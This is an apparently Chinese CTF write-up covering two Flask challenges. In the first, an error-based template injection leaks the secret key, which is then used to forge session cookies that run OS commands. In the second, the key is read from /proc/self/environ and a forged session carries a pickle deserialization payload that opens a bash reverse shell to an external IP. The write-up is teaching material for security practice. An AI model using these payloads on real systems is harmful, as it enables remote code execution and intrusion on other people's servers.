知识点
- Cookie伪造 - 秘钥获取
题解
打开题目环境,给出计算式子,返回计算结果,发现只能输入运算符和数字,输入字母就会报错,随便尝试的时候,输入 1/0
会报错,这里我并没有多想 看了wp说,通过这个报错来获取信息
1/0#{{7*7}}
尝试抓包,发现有Session数据,尝试对Session进行解密,我不知道为什么jwt.io网站解密不出来,用脚本解密
发现了Session里面保存的是计算的历史记录
那么思路就来了 -> 我们直接输入字母会遭检测 -> 通过直接伪造Session来输入
-> 伪造Session需要秘钥(有些可能无秘钥的Session加密)
-> 之前那个报错点,如果会的话 就会直接利用报错来作为突破点寻找秘钥了
-> 1/0#{{config}}
===> 获取秘钥
通过脚本,依据秘钥,编写执行语句(注意格式)-> 这里的双引号转义的原因我也不知道
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}"
得到编码之后的数据,F12在应用里面找到Cookie修改 刷新页面即可
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"
这里第一条命令我没加双引号,没成功运行,大概是混淆了 -t 的双引号吧
参考
[HFCTF 2021 Final]easyflask
知识点
- python反序列化
- 伪造Session
题解
通过提示获取源码 url/file?file=
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User()) # 序列化函数
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict): #
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
审计python代码,/file
和/admin
两个路由 => 伪造admin是目标,通过session存储身份信息 经过了pickle序列化和base加密
-> /file
路由可以获取key
通过路由/file?file=/proc/self/environ
获取key
glzjin22948575858jfjfjufirijidjitg3uiiuuh
-> python序列化构造反弹shell -> 利用秘钥生成Session伪造admin -> 访问路由/admin
反弹
#在Linux的python2环境下运行
import os
import base64
import pickle
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/114.55.129.236/4444 0>&1'",))
})
u = pickle.dumps(User())
print(base64.b64encode(u).decode())
访问/admin
路由抓包,修改Session,提前监听端口,发包,成功反弹shell
参考
))
[外链图片转存中...(img-WaVMeS9G-1726552672555)]
访问`/admin`路由抓包,修改Session,提前监听端口,发包,成功反弹shell
[外链图片转存中...(img-68f0hQwL-1726552672555)]
#### 参考
https://blog.csdn.net/RABCDXB/article/details/120340573